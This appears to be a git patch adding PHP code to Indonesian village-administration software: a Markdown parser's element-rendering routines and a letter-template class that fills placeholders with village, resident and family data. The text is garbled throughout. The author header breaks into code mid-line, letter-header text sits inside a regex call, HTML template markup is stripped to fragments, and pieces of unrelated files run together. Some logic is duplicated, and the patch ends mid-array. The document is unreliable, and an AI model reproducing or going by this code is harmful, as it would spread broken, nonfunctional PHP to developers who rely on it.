From e3ea123d8dc8075d5a4a506b8f3334767b6eea54 Mon Sep 17 00:00:00 2001
From: Andi Fahruddin Akas ') {
+ $markup = $trimmedMarkup;
+ $markup = substr($markup, 3);
+
+ $position = strpos($markup, ' PEMERINTAH [SEbutan_kabupaten] [NAma_kabupaten] [Alamat_desA]
\n", $text);
+ } else {
+ $text = preg_replace('/(?:[ ][ ]+|[ ]*\\\\)\n/', "
\n", $text);
+ $text = str_replace(" \n", "\n", $text);
+ }
+
+ return $text;
+ }
+
+ //
+ // Handlers
+ //
+
+ protected function element(array $Element)
+ {
+ if ($this->safeMode) {
+ $Element = $this->sanitiseElement($Element);
+ }
+
+ $markup = '<' . $Element['name'];
+
+ if (isset($Element['attributes'])) {
+ foreach ($Element['attributes'] as $name => $value) {
+ if ($value === null) {
+ continue;
+ }
+
+ $markup .= ' ' . $name . '="' . self::escape($value) . '"';
+ }
+ }
+
+ $permitRawHtml = false;
+
+ if (isset($Element['text'])) {
+ $text = $Element['text'];
+ }
+ // very strongly consider an alternative if you're writing an
+ // extension
+ elseif (isset($Element['rawHtml'])) {
+ $text = $Element['rawHtml'];
+ $allowRawHtmlInSafeMode = isset($Element['allowRawHtmlInSafeMode']) && $Element['allowRawHtmlInSafeMode'];
+ $permitRawHtml = ! $this->safeMode || $allowRawHtmlInSafeMode;
+ }
+
+ if (isset($text)) {
+ $markup .= '>';
+
+ if (! isset($Element['nonNestables'])) {
+ $Element['nonNestables'] = [];
+ }
+
+ if (isset($Element['handler'])) {
+ $markup .= $this->{$Element['handler']}($text, $Element['nonNestables']);
+ } elseif (! $permitRawHtml) {
+ $markup .= self::escape($text, true);
+ } else {
+ $markup .= $text;
+ }
+
+ $markup .= '' . $Element['name'] . '>';
+ } else {
+ $markup .= ' />';
+ }
+
+ return $markup;
+ }
+
+ protected function elements(array $Elements)
+ {
+ $markup = '';
+
+ foreach ($Elements as $Element) {
+ $markup .= "\n" . $this->element($Element);
+ }
+
+ $markup .= "\n";
+
+ return $markup;
+ }
+
+ // ~
+
+ protected function li($lines)
+ {
+ $markup = $this->lines($lines);
+
+ $trimmedMarkup = trim($markup);
+
+ if (! in_array('', $lines) && substr($trimmedMarkup, 0, 3) === '
+
+
+
+ [logo]
+
+
+
KECAMATAN [NAma_kecamatan]
[SEbutan_desa] [NAma_desa]
+ ';
+ public const FOOTER = '
+
+
+
+ ';
+ public const FOOTER_TTE = '
+
+
+
+ [kode_desa]
+
+
+ [KOde_surat]
+
+
+
+
+
+
+ [kode_desa]
+
+
+ [KOde_surat]
+
+
+
+ ';
+ public const TOP = 3.5; // cm
+ public const BOTTOM = 2; // cm
+
+ public function getTemplate()
+ {
+ $template = [
+ [
+ 'nama' => 'Header',
+ 'template' => [
+ 'sistem' => static::HEADER,
+ 'desa' => setting('header_surat'),
+ ],
+ ],
+
+ [
+ 'nama' => 'Footer',
+ 'template' => [
+ 'sistem' => static::FOOTER,
+ 'desa' => setting('footer_surat'),
+ ],
+ ],
+
+ [
+ 'nama' => 'Footer TTE',
+ 'template' => [
+ 'sistem' => static::FOOTER_TTE,
+ 'desa' => setting('footer_surat_tte'),
+ ],
+ ],
+ ];
+
+ return collect($template);
+ }
+
+ public function getTemplateSurat()
+ {
+ return collect(FormatSurat::whereNotNull('template')->jenis(FormatSurat::TINYMCE)->get(['nama', 'template', 'template_desa']))
+ ->map(static fn ($item, $key) => [
+ 'nama' => 'Surat ' . $item->nama,
+ 'template' => [
+ 'sistem' => $item->template,
+ 'desa' => $item->template_desa,
+ ],
+ ]);
+ }
+
+ public function getFormatedKodeIsian($data = [], $withData = false)
+ {
+ $idPenduduk = $data['id_pend'];
+
+ $daftar_kode_isian = [
+ // Data Surat
+ 'Surat' => $this->getIsianSurat($data),
+
+ // Data Identitas Desa
+ 'Identitas Desa' => $this->getIsianIdentitas($idPenduduk ?? $data['nik_non_warga']),
+
+ // Data Dusun
+ 'Wilayah' => $this->getIsianWilayah(),
+
+ // Data Penduduk Umum
+ 'Penduduk' => $this->getIsianPenduduk($idPenduduk),
+
+ // Data Anggota keluarga
+ 'Anggota Keluarga' => $this->getIsianAnggotaKeluarga($idPenduduk),
+
+ // Data Pasangan
+ 'Pasangan' => $this->getIsianPasangan($idPenduduk),
+ ];
+
+ $peristiwa = $data['surat']->form_isian->individu->status_dasar;
+ if (in_array($peristiwa, LogPenduduk::PERISTIWA)) {
+ $daftar_kode_isian['Peristiwa'] = KodeIsianPeristiwa::get($idPenduduk, $peristiwa);
+ }
+
+ // Penduduk Kategori
+ foreach ($data['kategori'] as $key => $value) {
+ $daftar_kode_isian[$key] = $this->getIsianPenduduk($value, $key);
+ }
+
+ // Data Dari Form Isian dsd
+ $isian_post = $this->getIsianPost($data);
+ if (isset($isian_post['kategori'])) {
+ foreach ($isian_post['kategori'] as $key => $value) {
+ $nama_ktg = $value['nama_kategori'];
+ unset($value['nama_kategori']);
+ $daftar_kode_isian['Input ' . $nama_ktg][] = $value;
+ // unset($daftar_kode_isian['Input ' . $value['nama_kategori']]['nama_kategori']);
+ }
+ // $daftar_kode_isian['Input Kategori'] = $isian_post['kategori'];
+ unset($isian_post['kategori']);
+ }
+ $daftar_kode_isian['Input'] = $isian_post;
+
+ // Penandatangan
+ $daftar_kode_isian['Penandatangan'] = $this->getPenandatangan($data['input']);
+
+ // Jika penduduk luar, hilangkan isian penduduk
+ if ($data['surat']['form_isian']->data == 2) {
+ unset($daftar_kode_isian['Penduduk'], $daftar_kode_isian['Anggota Keluarga']);
+ }
+
+ if ($withData) {
+ return collect($daftar_kode_isian)
+ ->flatten(1)
+ ->pluck('data', 'isian.normal')
+ ->toArray();
+ }
+
+ return $daftar_kode_isian;
+ }
+
+ private function getIsianSurat($data = [])
+ {
+ $DateConv = new DateConv();
+
+ return [
+ [
+ 'judul' => 'Format Nomor Surat',
+ 'isian' => getFormatIsian('Format_nomor_suraT'),
+ 'data' => strtoupper($this->substitusiNomorSurat($data['no_surat'], ($data['surat']['format_nomor'] == '') ? setting('format_nomor_surat') : $data['surat']['format_nomor'])),
+ ],
+ [
+ 'judul' => 'Kode',
+ 'isian' => getFormatIsian('Kode_suraT'),
+ 'data' => $data['surat']['kode_surat'],
+ ],
+ [
+ 'judul' => 'Nomer',
+ 'isian' => getFormatIsian('Nomer_suraT'),
+ 'data' => $data['no_surat'],
+ ],
+ [
+ 'judul' => 'Judul',
+ 'isian' => getFormatIsian('Judul_suraT'),
+ 'data' => $data['surat']['judul_surat'],
+ ],
+ [
+ 'judul' => 'Tanggal',
+ 'isian' => getFormatIsian('Tgl_suraT'),
+ 'data' => tgl_indo(date('Y m d')),
+ ],
+ [
+ 'judul' => 'Tanggal Hijri',
+ 'isian' => getFormatIsian('Tgl_surat_hijrI'),
+ 'data' => $DateConv->HijriDateId('j F Y'),
+ ],
+ [
+ 'judul' => 'Tahun',
+ 'isian' => getFormatIsian('TahuN'),
+ 'data' => $data['log_surat']['bulan'] ?? date('Y'),
+ ],
+ [
+ 'judul' => 'Bulan Romawi',
+ 'isian' => getFormatIsian('Bulan_romawI'),
+ 'data' => bulan_romawi((int) ($data['log_surat']['bulan'] ?? date('m'))),
+ ],
+ [
+ 'judul' => 'Logo Surat',
+ 'isian' => getFormatIsian('logo'),
+ 'data' => '[logo]',
+ ],
+ [
+ 'judul' => 'QRCode',
+ 'isian' => getFormatIsian('qr_code'),
+ 'data' => '[qr_code]',
+ ],
+ [
+ 'judul' => 'QRCode BSrE',
+ 'isian' => getFormatIsian('qr_bsre'),
+ 'data' => '[qr_bsre]',
+ ],
+ [
+ 'judul' => 'Logo BSrE',
+ 'isian' => getFormatIsian('logo_bsre'),
+ 'data' => '[logo_bsre]',
+ ],
+ ];
+ }
+
+ private function getIsianIdentitas($id_penduduk = null)
+ {
+ $config = null;
+ $sebutan_dusun = null;
+ $sebutan_desa = null;
+ $sebutan_kecamatan = null;
+ $sebutan_kec = null;
+ $sebutan_kabupaten = null;
+ $sebutan_kab = null;
+ $sebutan_camat = null;
+ $sebutan_kepala_desa = null;
+ $sebutan_nip_desa = null;
+
+ if ($id_penduduk) {
+ $config = identitas();
+ $sebutan_dusun = setting('sebutan_dusun');
+ $sebutan_desa = setting('sebutan_desa');
+ $sebutan_kecamatan = setting('sebutan_kecamatan');
+ $sebutan_kec = setting('sebutan_kecamatan_singkat');
+ $sebutan_kabupaten = setting('sebutan_kabupaten');
+ $sebutan_kab = setting('sebutan_kabupaten_singkat');
+ $sebutan_kepala_desa = setting('sebutan_kepala_desa');
+ $sebutan_camat = setting('sebutan_camat');
+
+ if (! empty($config->email_desa)) {
+ $alamat_desa = "{$config->alamat_kantor} Email: {$config->email_desa} Kode Pos: {$config->kode_pos}";
+ $alamat_surat = "{$config->alamat_kantor} Telp. {$config->telepon} Kode Pos: {$config->kode_pos}
+
+
+
+
+
+
+
+ [qr_bsre]
+
Website: {$config->website} Email: {$config->email_desa}";
+ } else {
+ $alamat_desa = "{$config->alamat_kantor} Kode Pos: {$config->kode_pos}";
+ $alamat_surat = "{$config->alamat_kantor} Telp. {$config->telepon} Kode Pos: {$config->kode_pos}";
+ }
+
+ if (null === $config->pamong()->pamong_nip && (! empty($config->pamong()->pamong_niap))) {
+ $sebutan_nip_desa = setting('sebutan_nip_desa');
+ } else {
+ $sebutan_nip_desa = 'NIP';
+ }
+ }
+
+ return [
+ [
+ 'judul' => 'Nama Desa',
+ 'isian' => getFormatIsian('Nama_desA'),
+ 'data' => $config->nama_desa,
+ ],
+ [
+ 'judul' => 'Kode Desa',
+ 'isian' => getFormatIsian('Kode_desA'),
+ 'data' => $config->kode_desa,
+ ],
+ [
+ 'judul' => 'Kode POS',
+ 'isian' => getFormatIsian('Kode_poS'),
+ 'data' => $config->kode_pos,
+ ],
+ [
+ 'judul' => 'Sebutan Desa',
+ 'isian' => getFormatIsian('Sebutan_desA'),
+ 'data' => $sebutan_desa,
+ ],
+ [
+ 'judul' => 'Sebutan Kepala Desa',
+ 'isian' => getFormatIsian('Sebutan_kepala_desA'),
+ 'data' => $sebutan_kepala_desa,
+ ],
+ [
+ 'judul' => 'Nama Kepala Desa',
+ 'isian' => getFormatIsian('Nama_kepala_desA'),
+ 'data' => $config->pamong_nama,
+ ],
+ [
+ 'judul' => 'Sebutan NIP Desa',
+ 'isian' => getFormatIsian('Sebutan_nip_desA'),
+ 'data' => $sebutan_nip_desa,
+ ],
+ [
+ 'judul' => 'NIP Kepala Desa',
+ 'isian' => getFormatIsian('Nip_kepala_desA'),
+ 'data' => $config->pamong_nip,
+ ],
+ [
+ 'judul' => 'Nama Kecamatan',
+ 'isian' => getFormatIsian('Nama_kecamataN'),
+ 'data' => $config->nama_kecamatan,
+ ],
+ [
+ 'judul' => 'Kode Kecamatan',
+ 'isian' => getFormatIsian('Kode_kecamataN'),
+ 'data' => $config->kode_kecamatan,
+ ],
+ [
+ 'judul' => 'Sebutan Kecamatan',
+ 'isian' => getFormatIsian('Sebutan_kecamataN'),
+ 'data' => $sebutan_kecamatan,
+ ],
+ [
+ 'judul' => 'Sebutan Kecamatan (Singkat)',
+ 'isian' => getFormatIsian('Sebutan_keC'),
+ 'data' => $sebutan_kec,
+ ],
+ [
+ 'judul' => 'Sebutan Camat',
+ 'isian' => getFormatIsian('Sebutan_camaT'),
+ 'data' => $sebutan_camat,
+ ],
+ [
+ 'judul' => 'Nama Kepala Camat',
+ 'isian' => getFormatIsian('Nama_kepala_camaT'),
+ 'data' => $config->nama_kepala_camat,
+ ],
+ [
+ 'judul' => 'NIP Kepala Camat',
+ 'isian' => getFormatIsian('Nip_kepala_camaT'),
+ 'data' => $config->nip_kepala_camat,
+ ],
+ [
+ 'judul' => 'Nama Kabupaten',
+ 'isian' => getFormatIsian('Nama_kabupateN'),
+ 'data' => $config->nama_kabupaten,
+ ],
+ [
+ 'judul' => 'Kode Kabupaten',
+ 'isian' => getFormatIsian('Kode_kabupateN'),
+ 'data' => $config->kode_kabupaten,
+ ],
+ [
+ 'judul' => 'Sebutan Kabupaten',
+ 'isian' => getFormatIsian('Sebutan_kabupateN'),
+ 'data' => $sebutan_kabupaten,
+ ],
+ [
+ 'judul' => 'Sebutan Kabupaten (Singkat)',
+ 'isian' => getFormatIsian('Sebutan_kaB'),
+ 'data' => $sebutan_kab,
+ ],
+ [
+ 'judul' => 'Nama Provinsi',
+ 'isian' => getFormatIsian('Nama_provinsI'),
+ 'data' => $config->nama_propinsi,
+ ],
+ [
+ 'judul' => 'Kode Provinsi',
+ 'isian' => getFormatIsian('Kode_provinsI'),
+ 'data' => $config->kode_propinsi,
+ ],
+ [
+ 'judul' => 'Alamat Desa',
+ 'isian' => getFormatIsian('Alamat_desA'),
+ 'data' => $alamat_desa,
+ ],
+ [
+ 'judul' => 'Alamat Surat Desa',
+ 'isian' => getFormatIsian('Alamat_suraT'),
+ 'data' => $alamat_surat,
+ ],
+ [
+ 'judul' => 'Alamat Kantor Desa',
+ 'isian' => getFormatIsian('Alamat_kantor'),
+ 'data' => $config->alamat_kantor,
+ ],
+ [
+ 'judul' => 'Email Desa',
+ 'isian' => getFormatIsian('Email_desA'),
+ 'data' => $config->email_desa,
+ ],
+ [
+ 'judul' => 'Telepon Desa',
+ 'isian' => getFormatIsian('Telepon_desA'),
+ 'data' => $config->telepon,
+ ],
+ [
+ 'judul' => 'Website Desa',
+ 'isian' => getFormatIsian('Website_desA'),
+ 'data' => $config->website,
+ ],
+ [
+ 'judul' => 'Sebutan Dusun',
+ 'isian' => getFormatIsian('Sebutan_dusuN'),
+ 'data' => $sebutan_dusun,
+ ],
+ ];
+ }
+
+ private function getIsianPenduduk($id_penduduk = null, $prefix = '')
+ {
+ $ortu = null;
+ $penduduk = null;
+ // Data Umum
+ if (! empty($prefix)) {
+ $ortu = ' ' . ucwords($prefix);
+ $prefix = '_' . uclast($prefix);
+ }
+
+ if ($id_penduduk) {
+ $penduduk = Penduduk::with(['keluarga', 'rtm'])->find($id_penduduk);
+ }
+
+ $individu = [
+ [
+ 'judul' => 'NIK' . $ortu,
+ 'isian' => getFormatIsian('nik' . $prefix . ''),
+ 'data' => $penduduk->nik ?? '-',
+ ],
+ [
+ 'judul' => 'Nama' . $ortu,
+ 'isian' => getFormatIsian('Nama' . $prefix . ''),
+ 'data' => $penduduk->nama ?? '-',
+ ],
+ [
+ 'judul' => 'Tanggal Lahir' . $ortu,
+ 'isian' => getFormatIsian('Tanggallahir' . $prefix . ''),
+ 'data' => tgl_indo($penduduk->tanggallahir) ?? '-',
+ ],
+ [
+ 'judul' => 'Tempat Lahir' . $ortu,
+ 'isian' => getFormatIsian('Tempatlahir' . $prefix . ''),
+ 'data' => $penduduk->tempatlahir ?? '-',
+ ],
+ [
+ 'judul' => 'Tempat Tanggal Lahir' . $ortu,
+ 'isian' => getFormatIsian('Tempat_tgl_lahir' . $prefix . ''),
+ 'data' => ($penduduk->tempatlahir . '/' . tgl_indo($penduduk->tanggallahir)) ?? '-',
+ ],
+ [
+ 'judul' => 'Tempat Tanggal Lahir (TTL)' . $ortu,
+ 'isian' => getFormatIsian('Ttl' . $prefix . ''),
+ 'data' => ($penduduk->tempatlahir . '/' . tgl_indo($penduduk->tanggallahir)) ?? '-',
+ ],
+ [
+ 'judul' => 'Usia' . $ortu,
+ 'isian' => getFormatIsian('Usia' . $prefix . ''),
+ 'data' => $penduduk->usia ?? '-',
+ ],
+ [
+ 'judul' => 'Jenis Kelamin' . $ortu,
+ 'isian' => getFormatIsian('Jenis_kelamin' . $prefix . ''),
+ 'data' => $penduduk->jenisKelamin->nama ?? '-',
+ ],
+ [
+ 'judul' => 'Agama' . $ortu,
+ 'isian' => getFormatIsian('Agama' . $prefix . ''),
+ 'data' => $penduduk->agama->nama ?? '-',
+ ],
+ [
+ 'judul' => 'Pekerjaan' . $ortu,
+ 'isian' => getFormatIsian('Pekerjaan' . $prefix . ''),
+ 'data' => $penduduk->pekerjaan->nama ?? '-',
+ ],
+ [
+ 'judul' => 'Warga Negara' . $ortu,
+ 'isian' => getFormatIsian('Warga_negara' . $prefix . ''),
+ 'data' => $penduduk->wargaNegara->nama ?? '-',
+ ],
+ [
+ 'judul' => 'Alamat' . $ortu,
+ 'isian' => getFormatIsian('Alamat' . $prefix . ''),
+ 'data' => $penduduk->alamat_wilayah ?? '-',
+ ],
+ [
+ 'judul' => 'No KK' . $ortu,
+ 'isian' => getFormatIsian('No_kK' . $prefix . ''),
+ 'data' => $penduduk->keluarga->no_kk,
+ ],
+ [
+ 'judul' => 'Golongan Darah' . $ortu,
+ 'isian' => getFormatIsian('Gol_daraH' . $prefix . ''),
+ 'data' => $penduduk->golonganDarah->nama,
+ ],
+ ];
+
+ if (empty($prefix)) {
+ $lainnya = [
+ [
+ 'judul' => 'Alamat Jalan',
+ 'isian' => getFormatIsian('Alamat_jalan'),
+ 'data' => $penduduk->keluarga->alamat, // alamat kk jika ada
+ ],
+ [
+ 'judul' => 'Alamat Sebelumnya',
+ 'isian' => getFormatIsian('Alamat_sebelumnya'),
+ 'data' => $penduduk->alamat_sebelumnya,
+ ],
+ [
+ 'judul' => 'Dusun',
+ 'isian' => getFormatIsian('Nama_dusuN'),
+ 'data' => $penduduk->wilayah->dusun,
+ ],
+ [
+ 'judul' => 'RW',
+ 'isian' => getFormatIsian('Nama_rW'),
+ 'data' => $penduduk->wilayah->rw,
+ ],
+ [
+ 'judul' => 'RT',
+ 'isian' => getFormatIsian('Nama_rT'),
+ 'data' => $penduduk->wilayah->rt,
+ ],
+ [
+ 'judul' => 'Akta Kelahiran',
+ 'isian' => getFormatIsian('Akta_lahiR'),
+ 'data' => $penduduk->akta_lahir, // Cek ini
+ ],
+ [
+ 'judul' => 'Akta Perceraian',
+ 'isian' => getFormatIsian('Akta_perceraiaN'),
+ 'data' => $penduduk->akta_perceraian, // Cek ini
+ ],
+ [
+ 'judul' => 'Status Perkawinan',
+ 'isian' => getFormatIsian('Status_kawiN'),
+ 'data' => $penduduk->statusKawin->nama, // Cek ini
+ ],
+ [
+ 'judul' => 'Akta Perkawinan',
+ 'isian' => getFormatIsian('Akta_perkawinaN'),
+ 'data' => $penduduk->akta_perkawinan, // Cek ini
+ ],
+ [
+ 'judul' => 'Tanggal Perkawinan',
+ 'isian' => getFormatIsian('TanggalperkawinaN'),
+ 'data' => tgl_indo($penduduk->tanggalperkawinan),
+ ],
+ [
+ 'judul' => 'Tanggal Perceraian',
+ 'isian' => getFormatIsian('TanggalperceraiaN'),
+ 'data' => tgl_indo($penduduk->tanggalperceraian),
+ ],
+ [
+ 'judul' => 'Cacat',
+ 'isian' => getFormatIsian('CacaT'),
+ 'data' => $penduduk->cacat->nama,
+ ],
+ [
+ 'judul' => 'Pendidikan Sedang',
+ 'isian' => getFormatIsian('Pendidikan_sedanG'),
+ 'data' => $penduduk->pendidikan->nama,
+ ],
+ [
+ 'judul' => 'Pendidikan Dalam KK',
+ 'isian' => getFormatIsian('Pendidikan_kK'),
+ 'data' => $penduduk->pendidikanKK->nama,
+ ],
+ [
+ 'judul' => 'Dokumen Pasport',
+ 'isian' => getFormatIsian('Dokumen_pasporT'),
+ 'data' => $penduduk->dokumen_pasport,
+ ],
+ [
+ 'judul' => 'Tanggal Akhir Paspor',
+ 'isian' => getFormatIsian('Tanggal_akhir_paspoR'),
+ 'data' => tgl_indo($penduduk->tanggal_akhir_paspor),
+ ],
+
+ // Data KK
+ [
+ 'judul' => 'Hubungan Dalam KK',
+ 'isian' => getFormatIsian('Hubungan_kK'),
+ 'data' => $penduduk->pendudukHubungan->nama,
+ ],
+ [
+ 'judul' => 'No KK',
+ 'isian' => getFormatIsian('No_kK'),
+ 'data' => $penduduk->keluarga->no_kk,
+ ],
+ [
+ 'judul' => 'Kepala KK',
+ 'isian' => getFormatIsian('Kepala_kK'),
+ 'data' => $penduduk->keluarga->kepalaKeluarga->nama,
+ ],
+ [
+ 'judul' => 'NIK KK',
+ 'isian' => getFormatIsian('Nik_kepala_kK'),
+ 'data' => $penduduk->keluarga->kepalaKeluarga->nik,
+ ],
+
+ // Data RTM
+ [
+ 'judul' => 'ID BDT',
+ 'isian' => getFormatIsian('Id_bdT'),
+ 'data' => $penduduk->rtm->bdt,
+ ],
+ ];
+
+ // Data Umum
+ $data = array_merge($individu, $lainnya);
+
+ // Data Orang Tua
+
+ $id_ayah = Penduduk::where('nik', $penduduk->ayah_nik)->first()->id;
+ $id_ibu = Penduduk::where('nik', $penduduk->ibu_nik)->first()->id;
+
+ if (! $id_ayah && $penduduk->kk_level == StatusHubunganEnum::ANAK) {
+ $id_ayah = Penduduk::where('id_kk', $penduduk->id_kk)
+ ->where(static function ($query) {
+ $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA)
+ ->orWhere('kk_level', StatusHubunganEnum::SUAMI);
+ })
+ ->where('sex', JenisKelaminEnum::LAKI_LAKI)
+ ->first()->id;
+ }
+
+ if (! $id_ibu && $penduduk->kk_level == StatusHubunganEnum::ANAK) {
+ $id_ibu = Penduduk::where('id_kk', $penduduk->id_kk)
+ ->where(static function ($query) {
+ $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA)
+ ->orWhere('kk_level', StatusHubunganEnum::ISTRI);
+ })
+ ->where('sex', JenisKelaminEnum::PEREMPUAN)
+ ->first()->id;
+ }
+
+ // Data Ayah
+ $data = array_merge($data, $this->getIsianPenduduk($id_ayah, 'ayah'));
+
+ // Data Ibu
+ $data = array_merge($data, $this->getIsianPenduduk($id_ibu, 'ibu'));
+
+ if ($penduduk->ayah_nik == null) {
+ $data_ortu = [
+ [
+ 'judul' => 'Nama Ayah',
+ 'isian' => getFormatIsian('Nama_ayaH'),
+ 'data' => $penduduk->nama_ayah,
+ ],
+ ];
+ $data = array_merge($data, $data_ortu);
+ }
+
+ if ($penduduk->ibu_nik == null) {
+ $data_ortu = [
+ [
+ 'judul' => 'Nama Ibu',
+ 'isian' => getFormatIsian('Nama_ibU'),
+ 'data' => $penduduk->nama_ibu,
+ ],
+ ];
+ $data = array_merge($data, $data_ortu);
+ }
+
+ $id_ayah = Penduduk::where('nik', $penduduk->ayah_nik)->first()->id;
+ $id_ibu = Penduduk::where('nik', $penduduk->ibu_nik)->first()->id;
+
+ // Data Ayah
+ $data = array_merge($data, $this->getIsianPenduduk($id_ayah, 'ayah'));
+
+ // Data Ibu
+ return array_merge($data, $this->getIsianPenduduk($id_ibu, 'ibu'));
+ }
+
+ return $individu;
+ }
+
+ private function getIsianWilayah()
+ {
+ $wilayah = Wilayah::with('kepala')->dusun()->get();
+
+ $data = [];
+
+ foreach ($wilayah as $wil) {
+ $data[] = [
+ 'judul' => ucwords(strtolower(setting('sebutan_dusun') . ' ' . $wil->dusun)),
+ 'isian' => getFormatIsian(ucwords(strtolower(setting('sebutan_dusun') . '_' . $wil->dusun))),
+ 'data' => $wil->dusun,
+ ];
+ $data[] = [
+ 'judul' => ucwords(strtolower('Kepala ' . setting('sebutan_dusun') . ' ' . $wil->dusun)),
+ 'isian' => getFormatIsian(ucwords(strtolower('Kepala_' . setting('sebutan_dusun') . '_' . $wil->dusun))),
+ 'data' => $wil->kepala->nama,
+ ];
+ }
+
+ return $data;
+ }
+
+ private function getIsianAnggotaKeluarga($id_penduduk = null)
+ {
+ $id_kk = Penduduk::where('kk_level', SHDKEnum::KEPALA_KELUARGA)->find($id_penduduk)->id_kk;
+ $anggota = Keluarga::find($id_kk)->anggota;
+
+ return [
+ [
+ 'judul' => 'Urutan',
+ 'isian' => getFormatIsian('Klgx_nO'),
+ 'data' => $anggota ? $anggota->pluck('id')
+ ->map(static fn ($item, $key) => $key + 1)
+ ->values()->toArray() : '',
+ ],
+ [
+ 'judul' => 'NIK',
+ 'isian' => getFormatIsian('Klgx_niK'),
+ 'data' => $anggota ? $anggota->pluck('nik')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Nama',
+ 'isian' => getFormatIsian('Klgx_namA'),
+ 'data' => $anggota ? $anggota->pluck('nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Jenis Kelamin',
+ 'isian' => getFormatIsian('Klgx_jenis_kelamiN'),
+ 'data' => $anggota ? $anggota->pluck('jenisKelamin.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Tempat Lahir',
+ 'isian' => getFormatIsian('Klgx_tempatlahiR'),
+ 'data' => $anggota ? $anggota->pluck('tempatlahir')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Tgl Lahir',
+ 'isian' => getFormatIsian('Klgx_tanggallahiR'),
+ 'data' => $anggota ? $anggota->pluck('tanggallahir')
+ ->map(static fn ($item) => tgl_indo($item))
+ ->toArray() : '',
+ ],
+ [
+ 'judul' => 'Tempat Tgl Lahir',
+ 'isian' => getFormatIsian('Klgx_tempat_tgl_lahiR'),
+ 'data' => $anggota ? $anggota->pluck('tempatlahir', 'tanggallahir')
+ ->map(static fn ($item, $key) => $item . ', ' . tgl_indo($key))
+ ->values()->toArray() : '',
+ ],
+ [
+ 'judul' => 'Tempat Tgl Lahir (TTL)',
+ 'isian' => getFormatIsian('Klgx_ttL'),
+ 'data' => $anggota ? $anggota->pluck('tempatlahir', 'tanggallahir')
+ ->map(static fn ($item, $key) => $item . ', ' . tgl_indo($key))
+ ->values()->toArray() : '',
+ ],
+ [
+ 'judul' => 'Usia',
+ 'isian' => getFormatIsian('Klgx_usiA'),
+ 'data' => $anggota ? $anggota->pluck('usia')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Agama',
+ 'isian' => getFormatIsian('Klgx_agamA'),
+ 'data' => $anggota ? $anggota->pluck('agama.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Pendidikan Sedang',
+ 'isian' => getFormatIsian('Klgx_pendidikan_sedanG'),
+ 'data' => $anggota ? $anggota->pluck('pendidikan.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Pendidikan Dalam KK',
+ 'isian' => getFormatIsian('Klgx_pendidikan_kK'),
+ 'data' => $anggota ? $anggota->pluck('pendidikanKk.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Pekerjaan',
+ 'isian' => getFormatIsian('Klgx_pekerjaaN'),
+ 'data' => $anggota ? $anggota->pluck('pekerjaan.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Status Perkawinan',
+ 'isian' => getFormatIsian('Klgx_status_kawiN'),
+ 'data' => $anggota ? $anggota->pluck('statusKawin.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Hubungan Dalam KK',
+ 'isian' => getFormatIsian('Klgx_hubungan_kK'),
+ 'data' => $anggota ? $anggota->pluck('pendudukHubungan.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Warga Negara',
+ 'isian' => getFormatIsian('Klgx_warga_negarA'),
+ 'data' => $anggota ? $anggota->pluck('warganegara.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Alamat',
+ 'isian' => getFormatIsian('Klgx_alamat'),
+ 'data' => $anggota ? $anggota->pluck('alamat_wilayah')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Golongan Darah',
+ 'isian' => getFormatIsian('Klgx_golongan_darah'),
+ 'data' => $anggota ? $anggota->pluck('golonganDarah.nama')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Dokumen Pasport',
+ 'isian' => getFormatIsian('Klgx_dokumen_pasporT'),
+ 'data' => $anggota ? $anggota->pluck('dokumen_pasport')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Tgl Akhir Paspor',
+ 'isian' => getFormatIsian('Klgx_tanggal_akhir_paspoR'),
+ 'data' => $anggota ? $anggota->pluck('tanggal_akhir_paspor')
+ ->map(static fn ($item) => tgl_indo($item))
+ ->toArray() : '',
+ ],
+ [
+ 'judul' => 'NIK Ayah',
+ 'isian' => getFormatIsian('Klgx_nik_ayaH'),
+ 'data' => $anggota ? $anggota->pluck('ayah_nik')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Nama Ayah',
+ 'isian' => getFormatIsian('Klgx_nama_ayaH'),
+ 'data' => $anggota ? $anggota->pluck('nama_ayah')->toArray() : '',
+ ],
+ [
+ 'judul' => 'NIK Ibu',
+ 'isian' => getFormatIsian('Klgx_nik_ibU'),
+ 'data' => $anggota ? $anggota->pluck('ibu_nik')->toArray() : '',
+ ],
+ [
+ 'judul' => 'Nama Ibu',
+ 'isian' => getFormatIsian('Klgx_nama_ibU'),
+ 'data' => $anggota ? $anggota->pluck('nama_ibu')->toArray() : '',
+ ],
+ ];
+ }
+
+ private function getIsianPasangan($id_penduduk = null)
+ {
+ $penduduk = Penduduk::find($id_penduduk);
+
+ return [
+ [
+ 'judul' => 'Jenis Kelamin Pasangan',
+ 'isian' => getFormatIsian('Jenis_kelamin_pasangaN'),
+ 'data' => $penduduk->sex == JenisKelaminEnum::LAKI_LAKI ? 'Wanita' : 'Pria',
+ ],
+ [
+ 'judul' => 'Bin Pasangan',
+ 'isian' => getFormatIsian('Bin_pasangaN'),
+ 'data' => $penduduk->sex == JenisKelaminEnum::LAKI_LAKI ? 'Binti' : 'Bin',
+ ],
+ ];
+ }
+
+ private function getIsianPost($data = [])
+ {
+ $input = $data['input'];
+
+ // Statis Post
+ $postStatis = [];
+
+ if ((int) $data['surat']['masa_berlaku'] > 0) {
+ $postStatis = [
+ [
+ 'nama' => 'Mulai Berlaku',
+ 'kode' => '[mulai_berlaku]',
+ ],
+ [
+ 'nama' => 'Berlaku Sampai',
+ 'kode' => '[berlaku_sampai]',
+ ],
+ [
+ 'nama' => 'Pengikut Surat',
+ 'kode' => '[pengikut_surat]',
+ ],
+ [
+ 'nama' => 'Pengikut KIS',
+ 'kode' => '[pengikut_kis]',
+ ],
+ [
+ 'nama' => 'Pengikut Kartu KIS',
